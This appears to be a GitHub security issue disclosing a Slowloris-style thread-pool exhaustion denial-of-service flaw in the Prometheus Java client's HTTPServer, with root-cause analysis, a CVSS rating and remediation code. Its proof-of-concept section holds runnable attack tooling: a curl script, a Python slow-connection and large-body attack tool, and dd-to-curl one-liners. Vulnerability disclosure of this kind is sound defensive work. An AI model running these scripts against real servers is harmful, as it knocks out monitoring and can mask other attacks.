Skip to content

# Security Report: Thread Pool Exhaustion via Slow Clients (Slowloris-style DoS) in prometheus/client_java HTTPServer #2284

Description

@manqingzhou

Security Report: Thread Pool Exhaustion via Slow Clients (Slowloris-style DoS) in prometheus/client_java HTTPServer

1. Vulnerability Summary

Field Value
Product prometheus/client_java (Prometheus Java Client Library)
Affected Version 1.8.0 (main branch); all prior 1.x releases using prometheus-metrics-exporter-httpserver are likely affected
Component prometheus-metrics-exporter-httpserver
Vulnerable File prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java
Vulnerable Lines 335-348 (thread pool), 163-170 (drain input)
Additional File prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/BlockingRejectedExecutionHandler.java
CWE CWE-770: Allocation of Resources Without Limits or Throttling
CVSS 3.1 Score 5.3 (Medium)
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Repository https://github.com/prometheus/client_java

2. Vulnerability Description

A denial-of-service vulnerability exists in the HTTPServer component of the Prometheus Java client library. The built-in HTTP server that exposes the /metrics endpoint uses a thread pool with a hard-coded maximum of 10 threads combined with a BlockingRejectedExecutionHandler that blocks indefinitely when the pool is exhausted. An unauthenticated attacker can trivially exhaust all 10 threads by opening slow connections (a Slowloris-style attack), after which all subsequent requests -- including legitimate Prometheus scrapes -- block indefinitely rather than being rejected with an appropriate HTTP error.

The vulnerability is composed of three interacting design flaws:

  1. Hard-coded thread pool maximum of 10: The makeExecutorService() method at lines 335-348 creates a ThreadPoolExecutor with a maximum pool size of 10 and a SynchronousQueue. The SynchronousQueue has zero capacity, meaning tasks can only be handed off to a waiting thread and cannot be queued. Once all 10 threads are occupied by slow connections, no further tasks can be accepted.

  2. Indefinite blocking on rejection: The BlockingRejectedExecutionHandler (lines 9-17 of BlockingRejectedExecutionHandler.java) calls threadPoolExecutor.getQueue().put(runnable) when all threads are busy. Since the queue is a SynchronousQueue, put() blocks indefinitely until a thread becomes available. This means new incoming requests are never rejected with an HTTP 503 -- they simply hang forever.

  3. Unbounded request body consumption: The drainInputAndClose() method at lines 163-170 reads the entire HTTP request body with no size limit, allowing an attacker to further amplify thread occupation time by sending arbitrarily large request bodies.


3. Root Cause Analysis

3.1 Vulnerable Code: Thread Pool Construction

File: HTTPServer.java, lines 335-348

private ExecutorService makeExecutorService() {
    if (executorService != null) {
        return executorService;
    } else {
        return new ThreadPoolExecutor(
            1,    // core pool size: only 1 thread kept alive when idle
            10,   // maximum pool size: HARD LIMIT of 10 threads
            120,
            TimeUnit.SECONDS,
            new SynchronousQueue<>(true),       // zero-capacity queue
            NamedDaemonThreadFactory.defaultThreadFactory(true),
            new BlockingRejectedExecutionHandler());  // blocks forever on exhaustion
    }
}

The configuration choices create a perfect storm for denial-of-service:

  • maximumPoolSize = 10: This is an extremely low ceiling for any network server. An attacker needs to occupy only 10 concurrent connections to completely exhaust the pool.
  • SynchronousQueue: Unlike bounded queues (e.g., LinkedBlockingQueue), a SynchronousQueue has no internal buffer. Each offer() must be matched by a corresponding take() from a consumer thread. When all 10 threads are busy, the queue cannot accept any tasks.
  • BlockingRejectedExecutionHandler: Instead of rejecting excess tasks (the standard behavior of ThreadPoolExecutor.AbortPolicy, CallerRunsPolicy, or DiscardPolicy), this handler blocks the calling thread forever.

3.2 Vulnerable Code: Blocking Rejection Handler

File: BlockingRejectedExecutionHandler.java, lines 6-18

class BlockingRejectedExecutionHandler implements RejectedExecutionHandler {

  @Override
  public void rejectedExecution(Runnable runnable, ThreadPoolExecutor threadPoolExecutor) {
    if (!threadPoolExecutor.isShutdown()) {
      try {
        threadPoolExecutor.getQueue().put(runnable);  // Blocks INDEFINITELY
      } catch (InterruptedException ignored) {
        // ignore
      }
    }
  }
}

When the ThreadPoolExecutor rejects a task (because all 10 threads are busy and the SynchronousQueue cannot accept the task), this handler calls getQueue().put(runnable). On a SynchronousQueue, put() is a blocking operation that waits indefinitely for a consumer thread to become available. The thread that calls rejectedExecution -- which is the JDK HttpServer's internal dispatcher thread -- is blocked until one of the 10 worker threads finishes processing its current connection.

The consequence is that while all 10 threads are held by slow clients, the internal dispatcher thread itself is also blocked, meaning no new connections can be dispatched at all. The server becomes completely unresponsive.

3.3 Vulnerable Code: Unbounded Request Body Drain

File: HTTPServer.java, lines 163-170

private void drainInputAndClose(HttpExchange httpExchange) throws IOException {
    InputStream inputStream = httpExchange.getRequestBody();
    byte[] b = new byte[4096];
    while (inputStream.read(b) != -1) {
      // nop -- reads ENTIRE body with no size limit
    }
    inputStream.close();
}

This method reads the complete request body in 4096-byte chunks without enforcing any maximum size. Although drainInputAndClose is only called from the wrapWithDoAs path (when subjectAttributeName is configured and authentication fails), a similar pattern of reading the full request occurs within the JDK HttpServer implementation itself for all requests. An attacker can send arbitrarily large request bodies at very low transfer rates to maximize the time each thread is occupied.

3.4 Partial Mitigation: maxReqTime / maxRspTime

The HTTPServer static initializer (lines 42-50) sets JDK system properties for request and response timeouts:

static {
    if (!System.getProperties().containsKey("sun.net.httpserver.maxReqTime")) {
      System.setProperty("sun.net.httpserver.maxReqTime", "60");
    }
    if (!System.getProperties().containsKey("sun.net.httpserver.maxRspTime")) {
      System.setProperty("sun.net.httpserver.maxRspTime", "600");
    }
}

These JDK-internal properties provide a partial mitigation:

  • maxReqTime=60: The JDK HttpServer will close connections that take longer than 60 seconds to receive a complete request.
  • maxRspTime=600: The JDK HttpServer will close connections that take longer than 600 seconds (10 minutes) to send a response.

However, this mitigation is insufficient for several reasons:

  1. 60 seconds is still long enough: An attacker holding 10 connections for 60 seconds causes a full 60-second outage of the metrics endpoint. Prometheus scrape intervals are typically 15-30 seconds, meaning at least 2-4 scrape cycles are missed.
  2. Properties can be overridden: The code only sets these properties if they are not already present. An application or deployment framework may set different (or infinite) values.
  3. maxRspTime is 10 minutes: Response timeout is set to 600 seconds, meaning a slow-reading client can occupy a thread for up to 10 minutes.
  4. sun.net.httpserver properties are undocumented: These are internal JDK implementation details with no guarantee of behavior across JDK vendors and versions.
  5. The BlockingRejectedExecutionHandler is not bounded by these timeouts: The indefinite blocking in put() is independent of the JDK HttpServer timeout mechanism.

3.5 Small Connection Backlog

Additionally, the server is created with a TCP backlog of only 3:

httpServer = HttpServer.create(makeInetSocketAddress(), 3);

This means only 3 connections can be queued at the OS level while the server is busy. Combined with the 10-thread limit, the server can handle at most 13 concurrent connection attempts before refusing connections at the TCP level.


4. Attack Flow

Attacker                           HTTPServer (10-thread pool)
  |                                        |
  |--- Slow Connection #1 ------->  Thread 1 occupied (slow read/write)
  |--- Slow Connection #2 ------->  Thread 2 occupied
  |--- Slow Connection #3 ------->  Thread 3 occupied
  |    ...                                 ...
  |--- Slow Connection #10 ------>  Thread 10 occupied
  |                                        |
  |    ALL 10 THREADS NOW EXHAUSTED        |
  |                                        |
  |--- Connection #11 ----------->  BlockingRejectedExecutionHandler.put()
  |                                 BLOCKS INDEFINITELY
  |                                        |
  Prometheus Server                        |
  |--- GET /metrics -------------->  Cannot be dispatched
  |                                  Scrape TIMES OUT
  |                                        |
  |    Monitoring gap -- alerts not firing |

5. CVSS 3.1 Detailed Breakdown

Metric Value Justification
Attack Vector (AV) Network (N) The /metrics HTTP endpoint is network-accessible. The HTTPServer binds to a network socket (default: all interfaces).
Attack Complexity (AC) Low (L) No special conditions required. The attacker needs only to open 10 slow TCP connections to the metrics port. No race conditions, no special configuration, no authentication bypass needed.
Privileges Required (PR) None (N) The HTTPServer does not require authentication by default. The Authenticator is an optional builder parameter that is null unless explicitly configured.
User Interaction (UI) None (N) No user interaction is needed. The attacker sends HTTP requests directly to the endpoint.
Scope (S) Unchanged (U) The vulnerability affects the availability of the metrics endpoint only, not other system components.
Confidentiality (C) None (N) No information disclosure occurs.
Integrity (I) None (N) No data modification occurs.
Availability (A) Low (L) The metrics endpoint becomes unresponsive, causing Prometheus scrape failures. The partial mitigation from maxReqTime=60 means the DoS is temporary (approximately 60 seconds per attack wave) unless the attacker maintains a continuous stream of slow connections. The application itself continues to run; only the metrics exposure endpoint is affected.

CVSS 3.1 Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CVSS 3.1 Base Score: 5.3 (Medium)

Note on Availability rating (Low vs. High): The Availability impact is rated Low rather than High because (a) the maxReqTime=60 system property provides partial mitigation by eventually closing stale connections, (b) the attack affects only the metrics endpoint and not the application's primary functionality, and (c) the DoS requires continuous attacker effort to sustain. If the maxReqTime property were removed or set to an extremely large value, the Availability impact would escalate to High.


6. Proof of Concept

6.1 Prerequisites

  • A Java application using prometheus-metrics-exporter-httpserver with the built-in HTTPServer
  • Network access to the metrics HTTP port (default or configured port)
  • curl, nc (netcat), or Python 3 installed on the attacker machine

6.2 Vulnerable Server Setup

import io.prometheus.metrics.core.metrics.Counter;
import io.prometheus.metrics.exporter.httpserver.HTTPServer;

public class VulnerableMetricsServer {
    public static void main(String[] args) throws Exception {
        Counter requestsTotal = Counter.builder()
            .name("requests_total")
            .help("Total requests")
            .register();

        HTTPServer server = HTTPServer.builder()
            .port(9400)
            .buildAndStart();

        System.out.println("Metrics server started on port " + server.getPort());

        // Simulate application activity
        while (true) {
            requestsTotal.inc();
            Thread.sleep(1000);
        }
    }
}

6.3 Attack Method 1: Slow Clients via curl (Simple)

#!/bin/bash
# slowloris_curl.sh -- Exhaust thread pool with slow-downloading clients
# Usage: ./slowloris_curl.sh <target_host> <target_port>

TARGET_HOST="${1:-localhost}"
TARGET_PORT="${2:-9400}"
THREADS=10  # Matches the hard-coded maximum pool size

echo "[*] Target: http://${TARGET_HOST}:${TARGET_PORT}/metrics"
echo "[*] Launching ${THREADS} slow connections to exhaust the thread pool..."

# Phase 1: Open 10 slow connections (one per thread)
for i in $(seq 1 ${THREADS}); do
    # --limit-rate 1: Download at 1 byte/second, holding the thread for the
    # entire duration of the response transfer.
    curl --silent --limit-rate 1 \
         --max-time 120 \
         "http://${TARGET_HOST}:${TARGET_PORT}/metrics" \
         -o /dev/null &
    echo "  [+] Slow connection #${i} started (PID: $!)"
done

echo ""
echo "[*] Waiting 5 seconds for all threads to be occupied..."
sleep 5

# Phase 2: Attempt a legitimate scrape -- this will hang
echo "[*] Attempting legitimate metrics scrape (should hang or timeout)..."
echo "[*] Running: curl --max-time 10 http://${TARGET_HOST}:${TARGET_PORT}/metrics"

START=$(date +%s)
HTTP_CODE=$(curl --silent --max-time 10 \
     -o /dev/null -w "%{http_code}" \
     "http://${TARGET_HOST}:${TARGET_PORT}/metrics" 2>&1)
END=$(date +%s)
ELAPSED=$((END - START))

if [ "$HTTP_CODE" = "000" ]; then
    echo ""
    echo "[!] VULNERABILITY CONFIRMED: Request timed out after ${ELAPSED}s"
    echo "[!] The metrics endpoint is completely unresponsive."
    echo "[!] Prometheus scrapes will fail, creating a monitoring gap."
elif [ "$HTTP_CODE" = "200" ]; then
    echo ""
    echo "[-] Request succeeded (HTTP ${HTTP_CODE}) in ${ELAPSED}s."
    echo "[-] Thread pool may not be fully exhausted. Try increasing THREADS."
else
    echo ""
    echo "[?] Unexpected HTTP code: ${HTTP_CODE} after ${ELAPSED}s"
fi

# Cleanup
echo ""
echo "[*] Cleaning up background curl processes..."
kill $(jobs -p) 2>/dev/null
wait 2>/dev/null
echo "[*] Done."

6.4 Attack Method 2: Slowloris via Raw Sockets (Python)

#!/usr/bin/env python3
"""
slowloris_prometheus.py -- Thread Pool Exhaustion PoC for prometheus/client_java HTTPServer

Demonstrates a Slowloris-style DoS against the Prometheus Java client's
built-in HTTPServer by exhausting its 10-thread pool with slow connections.

Usage:
    python3 slowloris_prometheus.py --host localhost --port 9400
"""

import argparse
import socket
import time
import threading
import sys


def slow_connection(host, port, conn_id, hold_seconds=90):
    """
    Open a connection and send an HTTP request very slowly,
    one byte at a time, to hold a thread in the server's pool.
    """
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(hold_seconds + 10)
        sock.connect((host, port))

        # Send HTTP request headers very slowly -- one byte per second
        request = f"GET /metrics HTTP/1.1\r\nHost: {host}\r\n"
        for char in request:
            sock.send(char.encode())
            time.sleep(1)  # 1 byte per second

        # Keep the connection open without completing the request
        # (no final \r\n to terminate headers)
        print(f"  [+] Connection #{conn_id}: holding thread "
              f"(incomplete request, {hold_seconds}s hold)")

        # Hold the connection open
        time.sleep(hold_seconds)
        sock.close()
        print(f"  [-] Connection #{conn_id}: released after {hold_seconds}s")

    except Exception as e:
        print(f"  [!] Connection #{conn_id}: {e}")


def test_metrics_endpoint(host, port, timeout=10):
    """
    Attempt a legitimate scrape of the /metrics endpoint.
    Returns (success: bool, elapsed_seconds: float, response: str).
    """
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        start = time.time()
        sock.connect((host, port))
        request = f"GET /metrics HTTP/1.1\r\nHost: {host}\r\n\r\n"
        sock.send(request.encode())
        response = sock.recv(4096).decode(errors='replace')
        elapsed = time.time() - start
        sock.close()
        return True, elapsed, response[:200]
    except socket.timeout:
        elapsed = time.time() - start
        return False, elapsed, "TIMEOUT"
    except Exception as e:
        elapsed = time.time() - start
        return False, elapsed, str(e)


def large_body_attack(host, port, conn_id, size_mb=100):
    """
    Send an HTTP POST with a very large body at a slow rate to
    exploit the unbounded drainInputAndClose() method.
    """
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(120)
        sock.connect((host, port))

        # Send headers declaring a large body
        headers = (
            f"POST / HTTP/1.1\r\n"
            f"Host: {host}\r\n"
            f"Content-Length: {size_mb * 1024 * 1024}\r\n"
            f"\r\n"
        )
        sock.send(headers.encode())
        print(f"  [+] Connection #{conn_id}: sending {size_mb}MB body slowly...")

        # Send body data at 1KB/second
        chunk = b'\x00' * 1024
        bytes_sent = 0
        target = size_mb * 1024 * 1024
        while bytes_sent < target:
            sock.send(chunk)
            bytes_sent += len(chunk)
            time.sleep(1)

        sock.close()
    except Exception as e:
        print(f"  [!] Connection #{conn_id} (large body): {e}")


def main():
    parser = argparse.ArgumentParser(
        description="Slowloris DoS PoC for prometheus/client_java HTTPServer"
    )
    parser.add_argument("--host", default="localhost", help="Target host")
    parser.add_argument("--port", type=int, default=9400, help="Target port")
    parser.add_argument("--threads", type=int, default=10,
                        help="Number of slow connections (default: 10, matching pool max)")
    parser.add_argument("--hold", type=int, default=90,
                        help="Seconds to hold each connection (default: 90)")
    parser.add_argument("--mode", choices=["slowloris", "largebod", "both"],
                        default="slowloris",
                        help="Attack mode (default: slowloris)")
    args = parser.parse_args()

    print("=" * 70)
    print("  Prometheus client_java HTTPServer -- Thread Pool Exhaustion PoC")
    print("=" * 70)
    print(f"\n  Target:    http://{args.host}:{args.port}/metrics")
    print(f"  Mode:      {args.mode}")
    print(f"  Threads:   {args.threads} (server max pool size: 10)")
    print(f"  Hold time: {args.hold}s (server maxReqTime: 60s)")
    print()

    # Step 1: Verify the target is reachable
    print("[Phase 0] Verifying target is reachable...")
    success, elapsed, response = test_metrics_endpoint(args.host, args.port)
    if success:
        print(f"  [OK] Metrics endpoint responded in {elapsed:.2f}s")
        print(f"  [OK] Response preview: {response[:100]}...")
    else:
        print(f"  [FAIL] Cannot reach target: {response}")
        sys.exit(1)
    print()

    # Step 2: Launch slow connections
    print(f"[Phase 1] Launching {args.threads} slow connections...")
    attack_threads = []
    for i in range(1, args.threads + 1):
        if args.mode in ("slowloris", "both"):
            t = threading.Thread(
                target=slow_connection,
                args=(args.host, args.port, i, args.hold),
                daemon=True
            )
        else:
            t = threading.Thread(
                target=large_body_attack,
                args=(args.host, args.port, i),
                daemon=True
            )
        t.start()
        attack_threads.append(t)
        time.sleep(0.1)  # Stagger connections slightly

    # If mode is "both", also launch large body attacks
    if args.mode == "both":
        print(f"\n[Phase 1b] Launching {args.threads} large-body connections...")
        for i in range(args.threads + 1, args.threads * 2 + 1):
            t = threading.Thread(
                target=large_body_attack,
                args=(args.host, args.port, i),
                daemon=True
            )
            t.start()
            attack_threads.append(t)

    # Step 3: Wait for threads to be occupied
    print(f"\n[Phase 2] Waiting 10 seconds for server threads to be occupied...\n")
    time.sleep(10)

    # Step 4: Test if legitimate scrape is blocked
    print("[Phase 3] Attempting legitimate metrics scrape...")
    print(f"  Timeout set to 15 seconds (Prometheus default scrape_timeout)\n")

    for attempt in range(1, 4):
        print(f"  --- Attempt #{attempt} ---")
        success, elapsed, response = test_metrics_endpoint(
            args.host, args.port, timeout=15
        )
        if not success:
            print(f"  [!] BLOCKED: Request failed after {elapsed:.2f}s")
            print(f"  [!] Result: {response}")
            print(f"  [!] VULNERABILITY CONFIRMED: Metrics endpoint is unresponsive")
        else:
            print(f"  [*] Response received in {elapsed:.2f}s")
            if elapsed > 5.0:
                print(f"  [!] WARNING: Response was severely delayed ({elapsed:.2f}s)")
                print(f"  [!] Thread pool is under pressure")
            else:
                print(f"  [-] Endpoint still responsive. Pool may not be fully exhausted.")
        print()
        time.sleep(2)

    # Summary
    print("=" * 70)
    print("  ATTACK SUMMARY")
    print("=" * 70)
    print(f"""
  The prometheus/client_java HTTPServer uses a ThreadPoolExecutor with:
    - Maximum pool size: 10 (hard-coded)
    - Queue: SynchronousQueue (zero capacity)
    - Rejection policy: BlockingRejectedExecutionHandler (blocks forever)

  Attack impact:
    - {args.threads} slow connections exhaust all available threads
    - The 11th connection triggers BlockingRejectedExecutionHandler.put()
    - put() blocks INDEFINITELY on the zero-capacity SynchronousQueue
    - Prometheus scrapes time out, creating monitoring blind spots
    - Alerting systems fail to fire, potentially masking other attacks

  Partial mitigation present (but insufficient):
    - sun.net.httpserver.maxReqTime=60 (threads released after 60s)
    - BUT: attacker can simply reconnect, causing repeated 60s outages
    - AND: maxRspTime=600 allows response-phase holds of 10 minutes
""")

    # Cleanup
    print("[*] Attack demonstration complete. Background threads will terminate.")


if __name__ == "__main__":
    main()

6.5 Attack Method 3: Large Request Body via drainInputAndClose

# Send a 1GB request body at default speed -- the server thread will read
# the entire body in drainInputAndClose() without any size limit.
# Note: drainInputAndClose is called when subjectAttributeName is set
# and the authenticated subject check fails.
dd if=/dev/zero bs=1M count=1024 | \
    curl -X POST "http://localhost:9400/" --data-binary @- &

# Or at a slow rate to maximize thread occupation time:
dd if=/dev/zero bs=1 count=10000 | \
    curl --limit-rate 1 -X POST "http://localhost:9400/" --data-binary @- &

6.6 Expected Results

When the PoC is run against a Prometheus Java client HTTPServer:

  1. The first 10 slow connections each occupy one thread in the pool.
  2. The 11th connection causes the BlockingRejectedExecutionHandler.put() to block the JDK HttpServer dispatcher.
  3. Any subsequent request (including legitimate Prometheus scrapes) either times out or hangs indefinitely.
  4. After approximately 60 seconds (due to maxReqTime=60), the JDK HttpServer may close the slow connections, temporarily freeing threads.
  5. If the attacker maintains a continuous stream of slow connections, the DoS is sustained indefinitely.

7. Impact Analysis

7.1 Availability Impact

  • Trivial Thread Pool Exhaustion: With a hard-coded maximum of 10 threads, an attacker needs only 10 concurrent slow connections to fully exhaust the pool. This is a remarkably low bar for a denial-of-service attack.

  • Indefinite Blocking, Not Graceful Rejection: The BlockingRejectedExecutionHandler ensures that when the pool is exhausted, new requests are not rejected with an HTTP 503 (Service Unavailable) error. Instead, they block indefinitely. This means clients receive no indication of overload and cannot implement retry logic.

  • Prometheus Scrape Failures: When the metrics endpoint is unresponsive, the Prometheus server's scrape requests time out (default scrape_timeout: 10s). This creates gaps in monitoring data. The up metric for the target drops to 0, but if the attacker sustains the attack, alerting rules based on metric thresholds will not fire because no data is collected.

  • Monitoring Blind Spots: A sustained thread pool exhaustion attack against the metrics endpoint can mask other ongoing attacks or system failures. If alerting depends on metrics exposed through this endpoint (CPU usage, error rates, latency percentiles), those alerts become non-functional during the attack.

7.2 Amplification via drainInputAndClose

The drainInputAndClose() method at lines 163-170 reads the entire HTTP request body without enforcing a maximum size:

while (inputStream.read(b) != -1) {
    // nop -- reads ENTIRE body with no size limit
}

This allows an attacker to send multi-gigabyte request bodies, forcing a server thread to spend extended time reading data before it can process the next request. Combined with rate-limiting the upload speed, a single connection can hold a thread for an arbitrarily long time (up to the maxReqTime limit).

7.3 Deployment Context

The HTTPServer component is used in:

  • Standalone Java applications without a servlet container
  • Java agents for JVM instrumentation (e.g., JMX exporters)
  • Microservices exposing metrics on a dedicated port

In containerized environments (Kubernetes), the metrics port is often accessible from within the cluster network to any pod, expanding the potential attacker surface. Service mesh configurations that expose metrics endpoints through sidecars also inherit this vulnerability.

7.4 Comparison with Standard Java HTTP Server Defaults

The JDK com.sun.net.httpserver.HttpServer does not impose a default thread pool limit. When no executor is set, it runs handlers on the caller thread. The Prometheus client library's choice to use a 10-thread pool with a blocking rejection handler creates an artificial and severe constraint that does not exist in the underlying platform.


8. Affected Component Architecture

Incoming HTTP Request
        |
        v
JDK com.sun.net.httpserver.HttpServer
        |
        |  Dispatches to ExecutorService
        v
ThreadPoolExecutor (max 10, SynchronousQueue)
        |
        |  All 10 threads busy?
        |--- No --> Handle request normally
        |--- Yes -> BlockingRejectedExecutionHandler
                         |
                         v
                    getQueue().put(runnable)
                         |
                    BLOCKS INDEFINITELY
                    (SynchronousQueue has zero capacity)
                         |
                    Dispatcher thread is stuck
                         |
                    No new requests can be processed

9. Remediation

9.1 Increase Maximum Pool Size and Use a Bounded Queue

Replace the current ThreadPoolExecutor configuration with a more robust setup that can handle load spikes:

private ExecutorService makeExecutorService() {
    if (executorService != null) {
        return executorService;
    } else {
        return new ThreadPoolExecutor(
            4,                              // core pool size
            64,                             // maximum pool size (increased from 10)
            120,
            TimeUnit.SECONDS,
            new LinkedBlockingQueue<>(128),  // bounded queue with backpressure
            NamedDaemonThreadFactory.defaultThreadFactory(true),
            new ThreadPoolExecutor.AbortPolicy());  // reject with RejectedExecutionException
    }
}

9.2 Replace BlockingRejectedExecutionHandler with a Rejection Policy

Replace the indefinite-blocking handler with a policy that returns HTTP 503 to the client:

// Instead of blocking forever, reject excess requests immediately.
// The JDK HttpServer will return an appropriate error to the client.
new ThreadPoolExecutor.AbortPolicy()

Or implement a custom handler that responds with HTTP 503:

class ServiceUnavailableRejectedHandler implements RejectedExecutionHandler {
    @Override
    public void rejectedExecution(Runnable runnable, ThreadPoolExecutor executor) {
        // Log the rejection for monitoring
        Logger.getLogger("prometheus-httpserver")
            .warning("Metrics request rejected: thread pool exhausted");
        // The JDK HttpServer will handle the rejection appropriately
        throw new RejectedExecutionException("Thread pool exhausted");
    }
}

9.3 Add Request Body Size Limits to drainInputAndClose

Enforce a maximum request body size to prevent unbounded reads:

private static final int MAX_REQUEST_BODY_SIZE = 64 * 1024; // 64 KB

private void drainInputAndClose(HttpExchange httpExchange) throws IOException {
    InputStream inputStream = httpExchange.getRequestBody();
    byte[] b = new byte[4096];
    int totalBytesRead = 0;
    int bytesRead;
    while ((bytesRead = inputStream.read(b)) != -1) {
        totalBytesRead += bytesRead;
        if (totalBytesRead > MAX_REQUEST_BODY_SIZE) {
            break; // Stop reading, discard remaining body
        }
    }
    inputStream.close();
}

9.4 Make Pool Size Configurable

Expose the thread pool configuration through the builder API and/or PrometheusProperties:

// Builder API
public Builder maxThreads(int maxThreads) {
    this.maxThreads = maxThreads;
    return this;
}

// PrometheusProperties
// io.prometheus.metrics.exporter.httpserver.maxThreads=64

9.5 Reduce Request and Response Timeouts

Lower the maxReqTime default and especially the maxRspTime default:

static {
    if (!System.getProperties().containsKey("sun.net.httpserver.maxReqTime")) {
        System.setProperty("sun.net.httpserver.maxReqTime", "10");  // 10 seconds
    }
    if (!System.getProperties().containsKey("sun.net.httpserver.maxRspTime")) {
        System.setProperty("sun.net.httpserver.maxRspTime", "30");  // 30 seconds (not 600)
    }
}

9.6 Workaround

Users can provide their own ExecutorService via the builder API to override the default pool:

ExecutorService executorService = new ThreadPoolExecutor(
    4, 64, 120, TimeUnit.SECONDS,
    new LinkedBlockingQueue<>(256),
    new ThreadPoolExecutor.CallerRunsPolicy());

HTTPServer server = HTTPServer.builder()
    .port(9400)
    .executorService(executorService)
    .buildAndStart();

This workaround is available because the makeExecutorService() method checks if (executorService != null) first. However, this requires users to be aware of the vulnerability and take proactive action.


10. References

  1. CWE-770: Allocation of Resources Without Limits or Throttling

  2. Slowloris Attack: OWASP - Slowloris HTTP DoS

  3. Java ThreadPoolExecutor Documentation: java.util.concurrent.ThreadPoolExecutor

  4. Java SynchronousQueue Documentation: java.util.concurrent.SynchronousQueue -- "Each insert operation must wait for a corresponding remove operation by another thread, and vice versa."

  5. sun.net.httpserver System Properties: JDK internal implementation; see sun.net.httpserver.ServerConfig source for maxReqTime and maxRspTime behavior.

  6. Prometheus client_java GitHub Repository: https://github.com/prometheus/client_java

  7. Vulnerable Source Files:


Reported by: Security Research Team
Date: 2026-06-24
Severity: Medium (CVSS 5.3)
CWE: CWE-770 (Allocation of Resources Without Limits or Throttling)
Status: Unpatched (as of version 1.8.0)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions